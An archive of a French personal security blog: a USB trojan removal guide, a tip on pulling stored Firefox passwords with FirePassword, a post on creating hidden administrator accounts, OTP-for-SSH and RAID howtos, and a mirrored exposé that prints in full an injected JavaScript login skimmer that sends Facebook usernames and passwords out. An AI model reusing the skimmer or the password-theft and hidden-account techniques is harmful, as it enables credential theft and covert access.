Category Archives: Sécurité

Tout les articles en rapport a la sécurisation d’un service/serveur/code, les failles de sécurités, les techniques d’attaques, etc, …

How to remove iexplor.vbs trojan

virus-vert-psdToday, after a long period of silence, I write back to my blog to talk about a virus that spread year ago, but re-appeared today in a new variant. The virus is not detected by anti virus like Kaspersky or Avast.

The virus spreads over usb dongle, mainly in copy centers. As a note, I would like to inform you that copy center is the worst place to bring a usb key in the world. Plugging your usb dongle in a copy center PC is just like licking a metro bar. The solution is to host file on a public drive on the web without registration required (you don’t want to loose your credential when loggin-in with them in the copy center)

The virus proxy the files copied on the disk. When you’ll copy a file, they will be marked as hidden and shortcut will be created. The shortcut point to the VBS virus and will then open your files, that’s the way he spreads on the host machine.

Once in place, if you delete the vbs file, he will come back. We’ll see how to identify the process responsible for that, killing it and then cleaning the key.

  1. First, download sysinternal suite from here.
  2. Then, unzip and launch procmon.
  3. Once started, go to your usb key and delete the folder containing the vbs script.
    If you don’t see it and only see the shortcuts, you’ll need to enable “view hiddent files” and disable “hide system protected files” in the explorer paramaters.
  4. Once deleted, wait for the file to re-appear.
  5. Go back to procmon and input the shortcut CTRL+E. That will stop the capture
  6. Now search (CTRL+F) for the name of the vbs, in our case iexplor, but may differ.
  7. Write the process id of the entry found in the first columns
  8. Launch procexp from sysinternals and sort the process by id
  9. Kill the process you’ve found with procmon (DELETE)
  10. Now you can delete the files on the usb key  and clean the virus.

 

Rogue des password stocké dans firefox

Un article qui n’en est pas vraiment un mais plus un tips.
Les password de Firefox sont stockés dans %appdata%\Mozilla\Firefox\Profiles\

Il y a 3 fichiers utilisé :

  • signons.sqlite : Base contenant les password(crypté), username, lastlogin, timeout, page associé, champs associé, nombre de login, etc, etc…
  • keys3.db : contient les clefs
  • cert8.db : contient les certificats clients

Ces 3 fichiers servent à stocker de manière +/- sécurisé les mots de passe. L’algorithme utilisé de base est Triple DES en CBC, master password ou non ! (le base64 n’a été utilisé que sur les early release)
Des outils comme FirePassword n’ont besoin que de ces 3 fichiers pour vous donner l’intégralité des password stocké…
Donc ces 3 fichiers récupéré, firepassword sous la main, et le tour est joué ^^

Firepassword : http://securityxploded.com/firepassword.php
Ceci montre bien une chose, firefox dont on vente les mérite d’un point de vue de la sécurité… à des efforts a faire… (Comparé a IE par exemple 😉 )

No More Admin : Création d’utilisateurs privilégiés invisibles

Bonjour, j’ai eu une conversation avec un amis aujourd’hui qui me soutenait qu’il n’avait pas besoin de se mettre ne utilisateur limité sur sa machine car était suffisamment conscient de ce qu’il faisait et que de toute façon il avait un antivirus et un firewall donc il ne risquait rien. Dans cette vidéo je vous montre comment créer un utilisateur, le rajouter au groupe administrateur puis aller modifier le registre pour le rend invisible et cela grâce au fait que l’utilisateur est en administrateur sur sa machine. Teste réalisé sur une machine avec firewall & antivirus 😉

Sources : http://pastebin.com/ad9FW8TU

Inform@tiquement

Howto : OTP pour SSH sous Debian GNU/Linux

Qu’est-ce que OTP ?

OTP signifie « One Time Password » ou Mot de passe a Usage Unique. C’est un mot de passe valable pour une seul session.

Pourquoi OTP ?

Le principal avantage de cette méthode est qu’elle ne permet pas de mettre en place de attaques par  rejeux. C’est-à-dire que si quelqu’un enregistre le traffic entre le client et le serveur puis rejoue ce traffic dans le but de s’authentifier, ce dernier ne pourra pas le pass n’etant valide que pour une session qui a déjà été consommé vu qu’il a pu l’enregistrer. OTP tire parti de nombres aléatoires afin de ne pas pouvoir prédire les OTP. (A l’inverse des Sequence Number sous NT4 par exemple).

Comment fonctionne OTP ?

Il y a 3 approches principales :

  • OTP basé sur la synchronisation entre le serveur et le client (valide pour une seule periode de temp).
  • La génération mathématique du password selon le précédent password.
  • L’utilisation de challenge et d’algorithmes mathématique et/ou un compteur.

Il y a plusieurs manières de faire parvenir au client le prochain OTP, avec des token electronique, un client web, d’autre avec un daemon qui tourne sur le mobile du client ou enfin, la plus simple, les OTP sont ecris sur une feuille emporté avec la machine. (La plus connue, mais la plus risqué !! )

Installation

Voici les paquets à installer pour faire fonctionner l’OTP sur Debian.

apt-get install libpam-opie opie-server opie-client

Configuration

Configuration OTP

Il est fortement recommandé de générer les OTP et les challenges en local sur la machine. En effet, si au moment de la création, via ssh par exemple, de vos OTP un hacker sniff votre communication,  il récupère alors les OTP, malgré le SSL dessus qui peut être Spoofé.

Nous allons maintenant générer un challenge OTP associé à votre compte avec un password.

debian:~# opiepasswd –c root
Updating root:
Using MD5 to compute reponses.
Enter new secret pass phrase : passwordopie
Again new secret pass phrase : passwordopie

ID root OTP key is 499 de8236
SLOB HOLM NARY MARE BOLO TORN
debian:~#

J’ai ici créé mon challenge pour me connecter. Mon password opie est « passwordopie » et mon password système est « password ». On vas ensuite généré 50  OTP pour root.

debian:~# opiekey -n 50 499 de8236
Using the MD5 algorithm to compute response.
Enter secret pass phrase : passwordopie
490 … ICI la liste des OTP
debian:~#

Nous avons maintenant créé nos OTP. Il ne nous reste plus qu’a intégré cela avec pam dans l’authentification SSH.

Configuration SSH

Pour permettre a ssh d’employer des OTP il faut modifier le fichier /etc/pam.d/sshd. On doit rajouter la ligne : auth sufficient pam_opie.so

Voici a quoi ressemble le mien :

debian:~# cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service
auth     sufficient pam_opie.so
auth     required    pam_unix.so
auth     required    pam_deny.so
session  required    pam_limits.so                # Limits
session  optional    pam_motd.so                  # MOTD
session  optional    pam_mail.so standard noenv   # MAILBOX
debian:~#

Se connecter

Un fois cela fait, redémarrez ssh et tentez de vous loguer en SSH.

login as: root
Password: password #celui du système
otp-md5 497 de8236 ext, Response: NIBS COME JILL BEAU ED MOB
Welcome Home Manu ^^
Last login: Fri Jan  7 00:12:11 2011 from 192.168.0.103
debian:~#

OTP Generator

Coté client j’utilise une petite applet java OTPGenerator qui est un s/Key Generator en Java et respecte le RFC 2289. Il dérive du projet JOTP de Harry Mantakos et reprend certaines de ses sources. Un lien vers le logiciel est fourni a la fin du howto. L’applet se trouve dans bin.

Dans password je renseigne passwordopie, le password donné lors de la création du challenge. Ensuite je renseigne la Sequence et le challenge que j’ai pour me connecter. Le hash doit être en MD5 (par defaut, le MD5 est utilisé). En fois cliqué sur calculé nous obtenons la clef a renseigné au serveur. Ici : NIBS COME JILL BEAU ED MOB

jsOTP(404)

jsOTP est un projet sous licence BSD de Jeremy Lin se composant de librairies javascript permettant de calculer ses Token en MD5, MD4, sha-1, ripemd-160 et de les traiter par lots.
Voici une implémentation que j’ai réalisé qui correspond a notre besoin en MD5 avec un format 6 mots. http://manu404.dyndns-home.com/jsotp404/

Il fonctionne en JavaScript avec JqueryUI. Une archive est disponible dans les ressources.

Référence

Logiciels

Documents

Liens

License

Copyright (c) 2011 Istace Emmanuel.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant sections, with Front-Cover Texts : “Howto : OTP pour SSH sous Debian GNU/Linux, and no Back-Cover Texts.  A copy of the license is included in the section entitled “GNU Free Documentation License”.

Copyright (c) 2011 Istace Emmanuel.
Permission vous est donnée de copier, distribuer et/ou modifier ce document selon les termes de la Licence GNU Free Documentation License, Version 1.2 ou ultérieure publiée par la Free Software Foundation ; avec aucune section altérable, Avec le texte de première page de couverture suivant : « Howto : OTP pour SSH sous Debian GNU/Linux », sans texte de dernière page de couverture. Une copie de cette Licence est incluse dans la section appelée « GNU Free Documentation License » de ce document.

Howto RAID sous Debian GNU/Linux

Voici un howto sur comment utiliser dur RAID5 avec mdadm sous Debian GNU Linux. Une version PDF est disponible.

Introduction

A Propos

Ce Howto a été écrit dans le but monter un serveur avec l’utilisation de RAID sous un système Debian  Lenny 5.0 GNU/Linux. Ce document est sous licence FDL v1.2. Ce Howto s’intègre dans une série de howto destiné a créé un RAID avec LVM et Quota.

Licence

Copyright (c) 2011 Istace Emmanuel.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant sections, with Front-Cover Texts : “Howto RAID LVM & Quota sous Linux”, and no Back-Cover Texts.  A copy of the license is included in the section entitled “GNU Free Documentation License”.

Copyright (c) 2011 Istace Emmanuel.
Permission vous est donnée de copier, distribuer et/ou modifier ce document selon les termes de la Licence GNU Free Documentation License, Version 1.2 ou ultérieure publiée par la Free Software Foundation ; avec aucune section altérable, Avec le texte de première page de couverture suivant : « Howto RAID LVM & Quota sous Linux », sans texte de dernière page de couverture. Une copie de cette Licence est incluse dans la section appelée « GNU Free Documentation License » de ce document.

Théorie

Un RAID est un ensemble de technique mise en œuvre sur plusieurs disques durs pour augmenter les performances, la sécurité ou la fault tolerance. Il y a 3 principaux types de RAID, le RAID 0, 1, 10 et 5.

RAID 0

Le RAID 0, aussi appelé striping consiste a répartir les données sur deux disque dur comme le montre le shema ci-dessous. Le premier bloc est sur sda et le second sur sdb. Sa capacité est egale a la taille du plus petit disque du RAID multiplié par le nombre de disque. Par exemple 1disque de 300Go et deux disque de 250Go en RAID 0 donnent une capacité totale de 750 Go (250 * 3). Malheureusement avec ce type de RAID il n’y a aucune redondance et donc, la perte d’un des disque provoque une perte de donnée.

RAID 1

Le RAID 1 ou mirroring consiste a utiliser n disque redondant (au minimum 2) et e copier sur chacun les mêmes données. Sa capacité est egale a celle du plus petit disque dur du RAID, au niveau de lka fiabilité par contre, le gain est évident. Elle accepte une déffaillance de n-1 disques. Ainsi, si nous mettons 4 disque de 200Go, nous aurons 200Go d’espace disponible et on pourra perdre 3 disque dur dans le RAID avant de perdre des données. Malheurement les couts sont proportionnelle au nombre de mirror alors que la capacité reste identique.

RAID 10 (ou RAID 1 + 0)

Ce type de RAID est un raid composé. Il consiste a créé un RAID 0 avec deux RAID 1. On a donc du striping de mirror. Il faut au minimum 4 disque pour créé un RAID 10. Sa capcité est egale a la taille du plus petit RAID1 multiplié par le nombre de RAID 1 dans le RAID0. Ainsi si je créé 2 RAID 1 composé de 2 disque de 200Go j’ai : 200Go * 2 = 400Go.

RAID 5

Le RAID5 se base sur le stripping et une parité. Chaque bande est donc constituée de N blocs de données et d’un bloc de parité. Ainsi, en cas de défaillance de l’un des disques de la grappe, pour chaque bande il manquera soit un bloc de données soit le bloc de parité. Si c’est le bloc de parité, ce n’est pas grave, car aucune donnée ne manque. Si c’est un bloc de données, on peut calculer son contenu à partir des N − 1 autres blocs de données et du bloc de parité. L’intégrité des données de chaque bande est préservée. Donc non seulement la grappe est toujours en état de fonctionner, mais il est de plus possible de reconstruire le disque une fois échangé à partir des données et des informations de parité contenues sur les autres disques. Le RAID5 utilise des Spare disque, disque qui sont mis en spool et monté puis reconstruit en cas de défaillance d’un des disque. Sa capacité est égale a la somme de la capacité des N – 1 disque. 3 disque de 200 Go en RAID5 fournissent donc 400 Go d’espace utile.

Mise en place sous Debian GNU Linux

L’outil mdadm

Cet outil sera utilisé pour créer et administrer notre RAID. S’il n’est pas présent sur votre système, installez le paquet.

root:~# apt-cache search mdadm
mdadm – tool to administer Linux MD arrays (software RAID)
root:~#

Son fichier de configuration se trouve dans /etc/mdadm/mdadm.conf sous Debian. Il est nécéssaire de formater les disque au type 0xFD (Linux RAID autodetect).

RAID 0

On va ici créer un RAID0, donc du striping. On aura donc un partie des données sur chacun des disques. Si vous utilisez une virtual machine mais en savez pas comment ajouter un disque dur, reportez-vous aux Annexes de ce HowTo pour VmWare Workstation et Oracle VirtualBox
Voici comment ce que l’on va faire :

On a donc deux partitions, sda et sdb que l’on montera en RAID 0.

root:~# mdadm –-create /dev/md0 –-level=raid0 –-raid-devices=2 /dev/sda /dev/sdb

–create /dev/md0     Création d’un RAID représenté par /dev/md0
–level=raid0         Type de raid a créé, ici raid0
–raid-devices=2      Nombre de disque dans le RAID
/dev/sda /dev/sdb     Devices du RAID

On peut maintenant créé notre filesystème sur le RAID

root:~# mkfs –t ext3 /dev/md0
root:~# mkdir /mnt/raid0
root:~# mount –t ext3 /dev/md0 /mnt/raid0

RAID 1

Passons au RAID 1, ici les données sont dupliquées sur chaque disque du RAID

Le principe est le même que en RAID0 mais avec un partition de secoure en plus et le level en raid1 et non raid0.

root:~# mdadm –-create /dev/md0 –-level=raid1 –-raid-devices=2 /dev/sda /dev/sdb -–spare-devices=1 /dev/sdd

–create /dev/md0     Création d’un RAID représenté par /dev/md0
–level=raid0         Type de raid a créé, ici raid0
–raid-devices=2      Nombre de disque dans le RAID
/dev/sda /dev/sdb     Devices du RAID
–spare-devices=1      Nombre de disque de secoure
/dev/sdd              Disques de secour a utilisé

On peut maintenant créé notre filesystème sur le RAID

root:~# mkfs –t ext3 /dev/md0
root:~# mkdir /mnt/raid1
root:~# mount –t ext3 /dev/md0 /mnt/raid1

RAID 10

Passons au RAID 10, nous allons pour cela créé deux matrices RAID 1 que l’on vas regrouper sur une matrice RAID 0.

On vas créé les deux matrices RAID 1

root:~# mdadm –-create /dev/md0 –-level=raid1 –-raid-devices=2 /dev/sda /dev/sdb
root:~# mdadm –-create /dev/md1 –-level=raid1 –-raid-devices=2 /dev/sdc /dev/sdd

Nos deux RAID 1 (/dev/md0 et /dev/md1) créé, on vas les regrouper dans un RAID 0

root:~# mdadm –-create /dev/md2 –-level=raid0 –-raid-devices=2 /dev/md0 /dev/md1

On peut maintenant créé notre filesystème sur le RAID0 de RAID1

root:~# mkfs –t ext3 /dev/md2
root:~# mkdir /mnt/raid10
root:~# mount –t ext3 /dev/md2 /mnt/raid10

RAID 5

Enfin le RAID 5, nous utiliserons ici 4  disques également dont un de secoure.

Le principe est le même que en RAID0 mais avec un partition de secoure en plus et le level en raid1 et non raid0.

root:~# mdadm –-create /dev/md0 –-level=raid5 –-raid-devices=3 /dev/sda /dev/sdb /dev/sdc -–spare-devices=1 /dev/sdd

On peut maintenant créé notre filesystème sur le RAID

root:~# mkfs –t ext3 /dev/md0
root:~# mkdir /mnt/raid5
root:~# mount –t ext3 /dev/md0 /mnt/raid5

Administration

Verifier le RAID

Il y a deux possibilities pour verifier l’etat du thread. Le fichier /proc/mdstat et la commande mdadm.

root:~# watch cat /proc/mdstat

Every 2,0s: cat /proc/mdstat                                                                                                                    Tue Jan  4 03:06:33 2011

Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10]

md0 : active (auto-read-only) raid5 sdb[0] sde[3](S) sdd[2] sdc[1] 208768 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]

md1 : active (auto-read-only) raid5 sdf[0] sdi[3](S) sdh[2] sdg[1] 208768 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]

resync=PENDING

unused devices: <none>

Ou bien mdadm –detail <device>

root:~# mdadm –detail /dev/md0
/dev/md0:
Version : 00.90
Creation Time : Tue Jan  4 01:24:08 2011
Raid Level : raid5
Array Size : 208768 (203.91 MiB 213.78 MB)
Used Dev Size : 104384 (101.95 MiB 106.89 MB)
Raid Devices : 3
Total Devices : 4
Preferred Minor : 0
Persistence : Superblock is persistent

Update Time : Tue Jan  4 01:46:14 2011
State : clean
Active Devices : 3
Working Devices : 4
Failed Devices : 0
Spare Devices : 1

Layout : left-symmetric
Chunk Size : 64K

UUID : b8c892c6:c59a3628:f0e976dc:8f6e00c0
Events : 0.10

Number   Major   Minor   RaidDevice State
0       8       16        0      active sync   /dev/sdb
1       8       32        1      active sync   /dev/sdc
2       8       48        2      active sync   /dev/sdd
3       8       64        –      spare   /dev/sde

Ajouter un disque dur

Pour ajouter un disque dur a la matrice de RAID on utilise l’option –a de mdadm :

root:~# mdadm /dev/md0 –a /dev/sdx
mdadm: hot added /dev/sdax

Avec cela on ajoute sdx au Raid md0

Suprimer un disque dur

Pour enlever un disque dur de la matrice de RAID on utilise l’option –d de mdadm :

root:~# mdadm /dev/md0 –d /dev/sdc
mdadm: hot removed /dev/sdc

Ainsi on suprimme /dev/sdc de md0

Simuler une panne et remplacer un disque

Pour tester le bon fonctionnement du RAID il est intéressant de créé des pannes.

root:~# mdadm /dev/md0 –f /dev/sdd
mdadm: set /dev/sdd to faulty in /dev/md0

Ainsi le disque sdc est passé en faulty :

md0 : active (auto-read-only) raid5 sdb[0] sde[3](S) sdd[2](F) sdc[1] 208768 blocks level 5, 64k chunk, algorithm 2 [3/3] [UUU]

Si un spare disk est présent, il sera automatiquement utilisé pour remplacer le disque déffecteux. Voici maintenant comment remplacer sdd, qui est maintenant « foutu » de notre RAID.

root:~# mdadm /dev/md0 –d /dev/sdd
mdadm: hot removed /dev/sdd

root:~# mdadm /dev/md0 –a /dev/sdr
mdadm: hot removed /dev/sdr

On a suprimer sdd du RAID et on a mis sdr a sa place. Si le RAID est complet, ce disque sera rajouté dans les spare disk en cas de futur panne.

Annexes

Annexe A : Ajout de disque dur sous VmWare Workstation

a.       Se rendre dans le menu de configuration du hardware de la VM. (Si elle est en exécution, double cliquer sur l’icône du disque dur en bas à droite)

b.      Cliquer sur Add

c.       Choisir Hard Disk puis suivant.

d.      Choisir Create a New Virtual Disk

e.      Choisir SCSI comme type de disque virtuel.

f.        Ici vous définissez la taille que vous désirez pour votre nouveau disque et cliquez sur suivant

g.       Sur la plupart du système, si vous ajoutez un disque, vous devrez redémarrer la VM.

Sources & Référence

La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :

ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :

Code:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml&#8221; xml:lang=”fr” lang=”fr” id=”facebook”>
<head>
<meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ />
<meta http-equiv=”Content-language” content=”fr” />
<script type=”text/javascript”>
//<![CDATA[
CavalryLogger=false;window._is_quickling_index=””;window._EagleEyeSeed=”w6jw”;
//]]>
</script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> 

<meta name=”robots” content=”noodp,noydir” />
<meta name=”description” content=” Facebook est un réseau social qui vous relie à des amis, des collègues de travail, des camarades de classe ou d’autres personnes qui ont quelque chose à partager avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre illimité de photos, publier des liens et des vidéos… et faire plus ample connaissance avec les personnes que vous rencontrez.” />
<link rel=”alternate” media=”handheld” href=”http://www.facebook.com/&#8221; />
<title>Bienvenue sur Facebook</title>
<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>
<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css&#8221; />

<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css&#8221; />

<script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script&gt;

<link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml&#8221; title=”Facebook” />
<link rel=”shortcut icon” href=”http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico&#8221; /></head>
<body>
<div id=”FB_HiddenContainer” style=”position:absolute; top:-10000px; width:0px; height:0px;” ></div><div id=”blueBar”></div><div id=”globalContainer”><div id=”dialogContainer”></div><div id=”dropmenu_container”></div><div id=”content” class=”fb_content clearfix”><div ><!– 2365fa3194ecdc0cab15721ce967a9f8663937c7 –>
<div><div class=”loggedout_menubar_container”><div><a href=”/” title=”Accéder à la page d’accueil”><img src=”http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png&#8221; alt=”Logo de Facebook” width=”170″ height=”36″ /></a><div class=”rfloat”><div><form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1&#8243; id=”login_form” onsubmit=”hAAAQ3d()” onsubmit=”return Event.__inlineSubmit(this,event)”><div style=”position:absolute;top:-250px”><img id=”x6y7z8″ src=””/></div>
<script language=”javascript”>
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

</script><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php&#8221; rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form>
</div></div></div></div><div class=”WelcomePage_MainSell”><div class=”WelcomePage_MainSellCenter clearfix”><div class=”WelcomePage_MainSellLeft”><div class=”WelcomePage_MainMessage”>Facebook vous permet de rester en contact et d’échanger avec les personnes qui vous entourent.</div><div class=”WelcomePage_MainMap”>&nbsp;</div></div><div ><div class=”WelcomePage_SignUpSection”><div class=”WelcomePage_SignUpMessage”><div class=”WelcomePage_SignUpHeadline”>Inscription</div><div class=”WelcomePage_SignUpSubheadline”>C’est gratuit (et ça le restera toujours)</div></div><div id=”registration_container”><div><noscript><div id=”no_js_box”><h2>JavaScript est désactivé dans votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div id=”simple_registration_container” class=”simple_registration_container”><div id=”reg_box”><form method=”post” id=”reg” name=”reg” onsubmit=”return

J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :

Code:
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!

De Facebook au Storytelling,la vérité travestie?

Je suis tombé par hasard sur cette conférence aujourd’hui. Elle est très intéressante notamment sur le premier point de la quantification de l’identité. Malheureusement, certains sujets sont éludé et d’autre subissent une argumentation un peu aride ce qui les rend assez incompréhensible. Ceci dit, voici quelques points que je trouve très intéressants, ils ne sont pas nouveaux, mais trop peut souvent cité :

Quantification de l’identité.

Mme Fanny George, Docteur en Étude Culturel, fait tout d’abord un constat. Sur facebook, le nombre d’amis, le nombre de commentaire, le nombre d’activités, le nombres d’amis en commun, le nombre d’application téléchargés sont clairement visible. De la elle pose l’hypothèse selon laquelle on quantifierait l’identité d’une personne selon ces données. Cette quantification permettrait alors de faire une sorte de hiérarchie de niveau de sociabilité et de comparer entre nous notre niveau de sociabilité. Par exemple,  Thomas est ami avec Julien et Florence, Julien a 50 amis de plus que Thomas. Thomas le considère donc comme plus sociable que lui. Florence a 10 amis de moins que Thomas, Thomas la considère comme moins sociable. En partant de là, un second comportement peut aussi est décrit à partir des amis commun et celui-ci défini le niveau d’affinité en dehors du niveau de sociabilité. Thomas et Julien ont 10 amis en commun alors que Thomas et Florence ont 20 amis en commun. Thomas se considérera plus proche de Florence. Tout ceci reste une hypothèse car il n’y a pas eu d’étude concrète de ce type de comportement, mais je la trouve, pour voir cela tous les jours, assez juste. Ce comportement n’est juste pas admis ouvertement, mais il a bel et bien lieu.

Je rajouterais quelque chose qui n’est pas explicitement dit.  Pourrait-on imaginer arriver à une sorte de vision marxiste du capitalisme (recherche du profit, accumulation de capital, etc) des liens sociaux ? Facebook s’inscrit déjà dans un mouvement de mondialisation, pourquoi pas un mouvement de « capitalisme social » ? Et se retrouver avec des gens pour qui, avoir et cumuler des « amis » est un but dans une démarche « capitaliste » sans prêter attention à ce qu’apporte normalement une amitié.

Analogie entre StoryTelling et la bible

Le Théologien, Père Antoine Guggenheim, fait une analogie intéressante entre le storytelling et les évangiles. Il lit un passage du deutéronome, qui est un livre de lois et donc un livre dans lequel on ne s’attend pas a du storytelling mais plutôt une longue liste de « Tu dois faire ça ! ».

Lorsque tu sera entré dans le pays que le Seigneur ton dieu te donne.
Tu prendra des prémices de tout les fruits du sol.
Tu ira au lieu choisi par le Seigneur.
Tu viendra vers le prêtre et tu lui dira :
Je déclare aujourd’hui
Mon père était un Armaèen erant
Les 2gyptiens nous maltraitèrent
Nous crimes vers le seigneur
Le Seigneur entendit
Il nous fit sortir d’Égypte
Il nous fit arriver ici
J’apporte les prémices des fruits

Le passage propose au lecteur, non pas de faire ce que dit le texte, mais de faire avec le texte. On nous raconte donc une histoire, à laquelle on adhère ou pas et surtout à laquelle, selon ses convictions l’on peut s’identifier et devenir acteur de cet histoire. On passe donc de la démonstration à la monstration. Le Storytelling n’est donc pas récent. Là où il lie évangile et facebook c’est que facebook (et les systèmes de blog en générale) propose à chacun exactement la même démarche. On a tous une histoire, et cette on peut maintenant la partager a la terre entière facilement. Mais, comme toutes les histoires, vaut-elle la peine d’être transmise ? Est-ce que un certain narcissisme se développe chez l’auteur en disant : « des gens lisent ma vie, ma vie est intéressante, je suis intéressant ». De plus il y a aussi, en dehors de la qualité de l’histoire, la qualité du texte. Les histoire que l’on lisait jusqu’à présent était pour la plupart écrite par des gens dont c’est le métier, qui ont des connaissances et une culture suffisante que pour « bien écrire ». Le fait de lire a longueur de journée de mauvais textes, mais de les considéré comme bon sous prétexte qu’ils retranscrivent une part de la vie de X et qu’il faut respecter son travail, ne va-t-il pas justement faire du tort au « bons textes » ?

Voici les deux points qui m’ont vraiment marqué et que je trouve vraiment intéressant. Le reste l’est mais est plus convenu, ou du moins plus connu car souvent donné dans la plupart des débats et conférences sur le sujet.

Pour le reste, je vous conseille de regarder la vidéo.


De Facebook au Storytelling,la vérité travestie?
envoyé par college-des-bernardins. – Rencontrez plus de personnalités du web.